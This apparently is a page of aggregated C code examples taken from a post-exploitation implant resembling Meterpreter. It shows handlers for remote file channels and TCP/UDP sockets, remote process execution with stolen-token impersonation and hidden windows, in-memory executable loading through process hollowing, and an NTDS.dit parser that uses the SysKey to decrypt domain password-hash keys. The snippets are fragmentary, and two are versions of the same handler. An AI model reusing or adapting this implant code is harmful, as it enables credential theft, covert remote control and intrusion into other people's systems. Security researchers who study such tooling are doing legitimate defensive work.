        peerport = ntohs(serverCtx->ipv6 ? clientaddr.sin6_port : ((SOCKADDR_IN*)&clientaddr)->sin_port);

        dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport);

        request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open");
        if (!request)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE);
        }

        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel));
        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel));
        packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost);
        packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport);
        packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
        packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);

        dwResult = PACKET_TRANSMIT(serverCtx->remote, request, NULL);

    } while (0);

    return dwResult;
}
Beispiel #12
0
/*
 * Handles the open request for a file channel and returns a valid channel
 * identifier to the requestor if the file is opened successfully
 */
DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
{
	Packet *response = NULL;
	PCHAR filePath, mode;
	DWORD res = ERROR_SUCCESS;
	DWORD flags = 0;
	Channel *newChannel = NULL;
	PoolChannelOps chops = { 0 };
	FileContext *ctx;
	LPSTR expandedFilePath = NULL;

	do
	{
		// Allocate a response
		response = packet_create_response(packet);

		// Get the channel flags
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

		// Allocate storage for the file context
		if (!(ctx = (FileContext *)malloc(sizeof(FileContext))))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Get the file path and the mode
		filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
		mode     = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);

		// No file path? bogus.
		if (!filePath)
		{
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		// Expand the file path
		if (!(expandedFilePath = fs_expand_path(filePath)))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}
	
		if (!mode)
			mode = "rb";

		// Invalid file?
		if (!(ctx->fd = fopen(expandedFilePath, mode)))
		{
			res = GetLastError();
			break;
		}

		memset(&chops, 0, sizeof(chops));

		// Initialize the pool operation handlers
		chops.native.context = ctx;
		chops.native.write   = file_channel_write;
		chops.native.close   = file_channel_close;
		chops.read           = file_channel_read;
		chops.eof            = file_channel_eof;
		chops.seek           = file_channel_seek;
		chops.tell           = file_channel_tell;

		// Check the response allocation & allocate a un-connected
		// channel
		if ((!response) ||
		    (!(newChannel = channel_create_pool(0, flags,
				&chops))))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Add the channel identifier to the response
		packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, 
				channel_get_id(newChannel));

	} while (0);

	// Transmit the packet if it's valid
	packet_transmit_response(res, remote, response);

	// Clean up on failure
	if (res != ERROR_SUCCESS)
	{
		if (newChannel)
			channel_destroy(newChannel, NULL);
		if (ctx)
			free(ctx);
	}

	// Free the expanded file path if it was allocated
	if (expandedFilePath)
		free(expandedFilePath);

	return res;
}
Beispiel #13
0
// This is the raw NTDS command function. When the remote user
// sends a command request for extapi_ntds_parse, this function fires.
// It calls the setup routines for our Jet Instance, attaches the isntance
// to the NTDS.dit database the user specified, and creates our channel.
// The user interacts with the NTDS database through that channel from that point on.
DWORD ntds_parse(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
	PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
	// Check if the File exists
	if (0xffffffff == GetFileAttributes(filePath)) {
		res = 2;
		goto out;
	}
	strncpy_s(ntdsState->ntdsPath, 255, filePath, 254);

	// Attempt to get the SysKey from the Registry
	unsigned char sysKey[17];
	if (!get_syskey(sysKey)) {
		res = GetLastError();
		goto out;
	}

	JET_ERR startupStatus = engine_startup(ntdsState);
	if (startupStatus != JET_errSuccess) {
		res = startupStatus;
		goto out;
	}

	// Start a Session in the Jet Instance
	JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL);
	if (sessionStatus != JET_errSuccess) {
		JetTerm(ntdsState->jetEngine);
		res = sessionStatus;
		goto out;
	}
	JET_ERR openStatus = open_database(ntdsState);
	if (openStatus != JET_errSuccess) {
		JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
		JetTerm(ntdsState->jetEngine);
		res = openStatus;
		goto out;
	}
	JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable);
	if (tableStatus != JET_errSuccess) {
		engine_shutdown(ntdsState);
		res = tableStatus;
		goto out;
	}

	// Create the structure for holding all of the Column Definitions we need
	struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns));

	JET_ERR columnStatus = get_column_info(ntdsState, accountColumns);
	if (columnStatus != JET_errSuccess) {
		engine_shutdown(ntdsState);
		free(accountColumns);
		res = columnStatus;
		goto out;
	}
	JET_ERR pekStatus;
	struct encryptedPEK *pekEncrypted = calloc(1,sizeof(struct encryptedPEK));
	struct decryptedPEK *pekDecrypted = calloc(1,sizeof(struct decryptedPEK));

	// Get and Decrypt the Password Encryption Key (PEK)
	pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted);
	if (pekStatus != JET_errSuccess) {
		res = pekStatus;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}
	if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)) {
		res = GetLastError();
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}
	// Set our Cursor on the first User record
	JET_ERR cursorStatus = find_first(ntdsState);
	if (cursorStatus != JET_errSuccess) {
		res = cursorStatus;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}
	cursorStatus = next_user(ntdsState, accountColumns);
	if (cursorStatus != JET_errSuccess) {
		res = cursorStatus;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}

	// If we made it this far, it's time to set up our channel
	PoolChannelOps chops;
	Channel *newChannel;
	memset(&chops, 0, sizeof(chops));

	NTDSContext *ctx;
	// Allocate storage for the NTDS context
	if (!(ctx = calloc(1, sizeof(NTDSContext)))) {
		res = ERROR_NOT_ENOUGH_MEMORY;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}

	ctx->accountColumns = accountColumns;
	ctx->ntdsState = ntdsState;
	ctx->pekDecrypted = pekDecrypted;

	// Initialize the pool operation handlers
	chops.native.context = ctx;
	chops.native.close = ntds_channel_close;
	chops.read = ntds_channel_read;
	if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
	{
		res = ERROR_NOT_ENOUGH_MEMORY;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}

	channel_set_type(newChannel, "ntds");
	packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));

out:
	packet_transmit_response(res, remote, response);
	return ERROR_SUCCESS;
}
Beispiel #14
0
/*
 * Executes a process using the supplied parameters, optionally creating a
 * channel through which output is filtered.
 *
 * req: TLV_TYPE_PROCESS_PATH      - The executable to launch
 * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
 * req: TLV_TYPE_FLAGS             - The flags to execute with
 */
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv inMemoryData;
	BOOL doInMemory = FALSE;
#ifdef _WIN32
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	HANDLE in[2], out[2];
	PCHAR path, arguments, commandLine = NULL;
	DWORD flags = 0, createFlags = 0;
	BOOL inherit = FALSE;
	HANDLE token, pToken;
	char * cpDesktop = NULL;
	DWORD session = 0;
	LPVOID pEnvironment = NULL;
	LPFNCREATEENVIRONMENTBLOCK  lpfnCreateEnvironmentBlock  = NULL;
	LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
	HMODULE hUserEnvLib = NULL;

	dprintf( "[PROCESS] request_sys_process_execute" );

	// Initialize the startup information
	memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
	memset( &si, 0, sizeof(STARTUPINFO) );

	si.cb = sizeof(STARTUPINFO);

	// Initialize pipe handles
	in[0]  = NULL;
	in[1]  = NULL;
	out[0] = NULL;
	out[1] = NULL;

	do
	{
		// No response? We suck.
		if (!response)
			break;

		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path      = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags     = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{	
			doInMemory = TRUE;
			createFlags |= CREATE_SUSPENDED;
		}

		if( flags & PROCESS_EXECUTE_FLAG_DESKTOP )
		{
			do
			{
				cpDesktop = (char *)malloc( 512 );
				if( !cpDesktop )
					break;

				memset( cpDesktop, 0, 512 );

				lock_acquire( remote->lock );

				_snprintf( cpDesktop, 512, "%s\\%s", remote->cpCurrentStationName, remote->cpCurrentDesktopName );

				lock_release( remote->lock );

				si.lpDesktop = cpDesktop;

			} while( 0 );
		}

		// If the remote endpoint provided arguments, combine them with the 
		// executable to produce a command line
		if (path && arguments)
		{
			DWORD commandLineLength = strlen(path) + strlen(arguments) + 2;

			if (!(commandLine = (PCHAR)malloc(commandLineLength)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
		}
		else if (path)
			commandLine = path;
		else
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
			ProcessChannelContext * ctx = NULL;
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			chops.native.context  = ctx;
			chops.native.write    = process_channel_write;
			chops.native.close    = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read            = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			// Allocate the stdin and stdout pipes
			if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
			{
				channel_destroy(newChannel, NULL);

				newChannel = NULL;

				free(ctx);

				result = GetLastError();
				break;
			}

			// Initialize the startup info to use the pipe handles
			si.dwFlags   |= STARTF_USESTDHANDLES;
			si.hStdInput  = in[0];
			si.hStdOutput = out[1];
			si.hStdError  = out[1];
			inherit       = TRUE;
			createFlags  |= CREATE_NEW_CONSOLE;

			// Set the context to have the write side of stdin and the read side
			// of stdout
			ctx->pStdin   = in[1];
			ctx->pStdout  = out[0];

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
		}

		// If the hidden flag is set, create the process hidden
		if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
		{
			si.dwFlags     |= STARTF_USESHOWWINDOW;
			si.wShowWindow  = SW_HIDE;
			createFlags    |= CREATE_NO_WINDOW;
		}

		// Should we create the process suspended?
		if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
			createFlags |= CREATE_SUSPENDED;

		if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
		{
			// If there is an impersonated token stored, use that one first, otherwise
			// try to grab the current thread token, then the process token
			if (remote->hThreadToken){
				token = remote->hThreadToken;
				dprintf("[execute] using thread impersonation token");
			}
			else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);

			dprintf("[execute] token is 0x%.8x", token);

			// Duplicate to make primary token (try delegation first)
			if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
			{
				if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
				{
					result = GetLastError();
					dprintf("[execute] failed to duplicate token 0x%.8x", result);
					break;
				}
			}

			hUserEnvLib = LoadLibrary("userenv.dll");
			if ( NULL != hUserEnvLib ) {
				lpfnCreateEnvironmentBlock  = (LPFNCREATEENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "CreateEnvironmentBlock" );
				lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "DestroyEnvironmentBlock" );
				if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock( &pEnvironment, pToken, FALSE)) {
					createFlags |= CREATE_UNICODE_ENVIRONMENT;
					dprintf("[execute] created a duplicated environment block");
				} else {
					pEnvironment = NULL;
				}
			}

			// Try to execute the process with duplicated token
			if( !CreateProcessAsUser( pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi ) )
			{
				LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
				HANDLE hAdvapi32   = NULL;
				wchar_t * wcmdline = NULL;
				wchar_t * wdesktop = NULL;
				int size           = 0;

				result = GetLastError();

				// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
				// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
				if( result == ERROR_PRIVILEGE_NOT_HELD )
				{
					do
					{
						hAdvapi32 = LoadLibrary( "advapi32.dll" );
						if( !hAdvapi32 )
							break;

						pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress( hAdvapi32, "CreateProcessWithTokenW" );
						if( !pCreateProcessWithTokenW )
							break;

						// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
						size = mbstowcs( NULL, commandLine, 0 );
						if( size < 0 )
							break;

						wcmdline = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) );
						mbstowcs( wcmdline, commandLine, size );
						
						if( si.lpDesktop )
						{
							size = mbstowcs( NULL, (char *)si.lpDesktop, 0 );
							if( size > 0 )
							{
								wdesktop = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) );
								mbstowcs( wdesktop, (char *)si.lpDesktop, size );
								si.lpDesktop = (LPSTR)wdesktop;
							}
						}

						if( !pCreateProcessWithTokenW( pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi ) )
						{
							result = GetLastError();
							dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
							break;
						}

						result = ERROR_SUCCESS;

					} while( 0 );

					if( hAdvapi32 )
						FreeLibrary( hAdvapi32 );

					if( wdesktop )
						free( wdesktop );
					
					if( wcmdline )
						free( wcmdline );
				}
				else
				{
					dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
					break;
				}
			}

			if( lpfnDestroyEnvironmentBlock && pEnvironment )
				lpfnDestroyEnvironmentBlock( pEnvironment );

			if( NULL != hUserEnvLib )
				FreeLibrary( hUserEnvLib );
		}
		else if( flags & PROCESS_EXECUTE_FLAG_SESSION )
		{
			typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken );
			WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
			HANDLE hToken     = NULL;
			HMODULE hWtsapi32 = NULL;
			BOOL bSuccess     = FALSE;
			DWORD dwResult    = ERROR_SUCCESS;

			do
			{
				// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
				hWtsapi32 = LoadLibraryA( "wtsapi32.dll" );

				session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION );

				if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 )
				{
					if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
						BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" );
				}
				else
				{
					pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" );
					if( !pWTSQueryUserToken )
						BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" );

					if( !pWTSQueryUserToken( session, &hToken ) )
						BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" );
						
					if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
						BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" );
				}

			} while( 0 );
			
			if( hWtsapi32 )
				FreeLibrary( hWtsapi32 );

			if( hToken )
				CloseHandle( hToken );

			result = dwResult;

			if( result != ERROR_SUCCESS )
				break;
		}
		else
		{
			// Try to execute the process
			if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
			{
				result = GetLastError();
				break;
			}
		}

		//
		// Do up the in memory exe execution if the user requested it
		//
		if (doInMemory) {

			//
			// Unmap the dummy executable and map in the new executable into the
			// target process
			//
			if (!MapNewExecutableRegionInProcess( pi.hProcess, pi.hThread, inMemoryData.buffer))
			{
				result = GetLastError();
				break;
			}

			//
			// Resume the thread and let it rock...
			//
			if (ResumeThread(pi.hThread) == (DWORD)-1)
			{
				result = GetLastError();
				break;
			}

		}

		// check for failure here otherwise we can get a case where we 
		// failed but return a process id and this will throw off the ruby side.
		if( result == ERROR_SUCCESS )
		{
			// Add the process identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);

			packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,(DWORD)pi.hProcess);

			CloseHandle(pi.hThread);
		}

	} while (0);

	// Close the read side of stdin and the write side of stdout
	if (in[0])
		CloseHandle(in[0]);
	if (out[1])
		CloseHandle(out[1]);

	// Free the command line if necessary
	if (path && arguments && commandLine)
		free(commandLine);

	if( cpDesktop )
		free( cpDesktop );
#else
	PCHAR path, arguments;;
	DWORD flags;
	char *argv[8], *command_line;
	int cl_len = 0;
	int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors
	int master = -1, slave = -1;
	int devnull = -1;
	int idx, i;
	pid_t pid;
	int have_pty = -1;

	int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN);

	dprintf( "[PROCESS] request_sys_process_execute" );

	do {
		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path      = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags     = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)");

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{	
			doInMemory = TRUE;
		}

		// how to handle a single string argument line? we don't have a lexer/parser to
		// correctly handle stuff like quotes, etc. could dumbly parse on white space to 
		// build arguments for execve. revert to /bin/sh -c style execution? 
		// XXX.. don't feel like messing with it atm	

		idx = 0;
		if(arguments) {
			// Add one for the null, one for the space
			cl_len = strlen(path) + strlen(arguments) + 2;
			command_line = malloc(cl_len);
			memset(command_line, 0, cl_len);
			strcat(command_line, path);
			strcat(command_line, " ");
			strcat(command_line, arguments);

			argv[idx++] = "sh";
			argv[idx++] = "-c";
			argv[idx++] = command_line;
			path = "/bin/sh";
		} else {
			argv[idx++] = path;
		}	
		argv[idx++] = NULL;

		//for (i = 0; i < idx; i++) {
		//	dprintf("  argv[%d] = %s", i, argv[i]);
		//}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			ProcessChannelContext * ctx = NULL;
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			chops.native.context  = ctx;
			chops.native.write    = process_channel_write;
			chops.native.close    = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read            = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			have_pty = !try_open_pty(&master, &slave);

			if(have_pty)
			{
				ctx->pStdin = master;
				ctx->pStdout = master;
			} else {
				// fall back to pipes if there is no tty
				// Allocate the stdin and stdout pipes
				if(pipe(&in) || pipe(&out)) 
				{
					channel_destroy(newChannel, NULL);

					newChannel = NULL;

					free(ctx);

					result = GetLastError();
					break;
				}

				// Set the context to have the write side of stdin and the read side
				// of stdout
				ctx->pStdin   = in[1];
				ctx->pStdout  = out[0];
			}

			fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK);
			fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK);

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
		} else {
			// need to /dev/null it all
			if( (devnull = open("/dev/null", O_RDONLY) ) == -1) {
				// XXX This is possible, due to chroots etc. We could close
				// fd 0/1/2 and hope the program isn't buggy.
 
				result = GetLastError();
				break;
			}
		}

		/*
		 * We can create "hidden" processes via clone() instead of fork()
		 * clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well.
		 * memory / fd's etc won't be shared. linux specific syscall though.
		 */

		pid = fork();
		switch(pid) {

		case -1:
			result = errno;
			break;

		case 0:
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
			{
				if(have_pty) 
				{ 
					dup2(slave, 0);
					dup2(slave, 1);
					dup2(slave, 2);
				} else {
					dup2(in[0], 0);
					dup2(out[1], 1);
					dup2(out[1], 2);
				}
			} else {
				dup2(devnull, 0);
				dup2(devnull, 1);
				dup2(devnull, 2);
			}
			for(i = 3; i < 1024; i++) close(i);

			if(doInMemory) 
			{
				int found;
				Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer;
				Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff);

				for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) {
					if(phdr->p_type == PT_LOAD) {
						found = 1;
						break;
					}
				}
			
				if(! found) return; // XXX, not too much we can do in this case ?

				perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry);
			} else {
				execve(path, argv, environ);
			}

			dprintf("failed to execute program, exit(EXIT_FAILURE) time");
			dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden);

			exit(EXIT_FAILURE);
		default:
			dprintf("child pid is %d\n", pid);
			packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid);
			packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE, (DWORD)pid);
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
				if(have_pty) {
					dprintf("child channelized\n");
					close(slave);
				} else {
					close(in[0]);
					close(out[1]);
					close(out[2]);
				}
			}
			break;
		}
	} while(0);
#endif

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Beispiel #15
0
/*
 * Handles the open request for a file channel and returns a valid channel
 * identifier to the requestor if the file is opened successfully
 */
DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
{
	Packet *response = NULL;
	PCHAR filePath, mode;
	DWORD res = ERROR_SUCCESS;
	DWORD flags = 0;
	Channel *newChannel = NULL;
	PoolChannelOps chops = { 0 };
	FileContext *ctx;
	LPSTR expandedFilePath = NULL;

	// Allocate a response
	response = packet_create_response(packet);

	// Get the channel flags
	flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

	// Allocate storage for the file context
	if (!(ctx = calloc(1, sizeof(FileContext)))) {
		res = ERROR_NOT_ENOUGH_MEMORY;
		goto out;
	}

	// Get the file path and the mode
	filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
	mode     = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);

	if (mode == NULL) {
		mode = "rb";
	}

	res = fs_fopen(filePath, mode, &ctx->fd);
	if (res != ERROR_SUCCESS) {
		goto out;
	}

	memset(&chops, 0, sizeof(chops));

	// Initialize the pool operation handlers
	chops.native.context = ctx;
	chops.native.write   = file_channel_write;
	chops.native.close   = file_channel_close;
	chops.read           = file_channel_read;
	chops.eof            = file_channel_eof;
	chops.seek           = file_channel_seek;
	chops.tell           = file_channel_tell;

	// Check the response allocation & allocate a un-connected
	// channel
	if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) {
		res = ERROR_NOT_ENOUGH_MEMORY;
		goto out;
	}

	// Add the channel identifier to the response
	packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));

out:
	// Transmit the packet if it's valid
	packet_transmit_response(res, remote, response);

	// Clean up on failure
	if (res != ERROR_SUCCESS) {
		if (newChannel) {
			channel_destroy(newChannel, NULL);
		}
		free(ctx);
	}

	return res;
}
Beispiel #16
0
/*
 * Create a new UDP socket channel, optionally bound to a local address/port and optionaly specify 
 * a remote peer host/port for future writes.
 */
DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
{
	DWORD dwResult           = ERROR_SUCCESS;
	UdpClientContext * ctx   = NULL;
	Packet * response        = NULL;
	char * lhost             = NULL;
	char * phost             = NULL;
	SOCKADDR_IN saddr        = {0};
	DatagramChannelOps chops = {0};

	do
	{
		response = packet_create_response( packet );
		if( !response )
			BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY );
		
		ctx = (UdpClientContext *)malloc( sizeof(UdpClientContext) );
		if( !ctx )
			BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY );

		memset( ctx, 0, sizeof(UdpClientContext) );
		
		ctx->sock.remote = remote;

		ctx->localport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF );
		if( !ctx->localport )
			ctx->localport = 0;

		ctx->peerport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF );
		if( !ctx->peerport )
			ctx->peerport = 0;

		lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST );
		if( lhost )
			ctx->localhost.s_addr = inet_addr( lhost );
		else
			ctx->localhost.s_addr = INADDR_ANY;

		phost = packet_get_tlv_value_string( packet, TLV_TYPE_PEER_HOST );
		if( phost )
		{
			dprintf( "[UDP] request_net_udp_channel_open. phost=%s", phost );
			ctx->peerhost.s_addr = inet_addr( phost );
		}

		ctx->sock.fd = WSASocket( AF_INET, SOCK_DGRAM, IPPROTO_UDP, 0, 0, 0 );
		if( ctx->sock.fd == INVALID_SOCKET )
			BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. WSASocket failed" );

		saddr.sin_family      = AF_INET;
		saddr.sin_port        = htons( ctx->localport );
		saddr.sin_addr.s_addr = ctx->localhost.s_addr;

		if( bind( ctx->sock.fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN) ) == SOCKET_ERROR )
			BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. bind failed" );
		
		ctx->sock.notify = WSACreateEvent();
		if( ctx->sock.notify == WSA_INVALID_EVENT )
			BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. WSACreateEvent failed" );

		if( WSAEventSelect( ctx->sock.fd, ctx->sock.notify, FD_READ ) == SOCKET_ERROR )
			BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. WSAEventSelect failed" );

		memset( &chops, 0, sizeof(DatagramChannelOps) );
		chops.native.context = ctx;
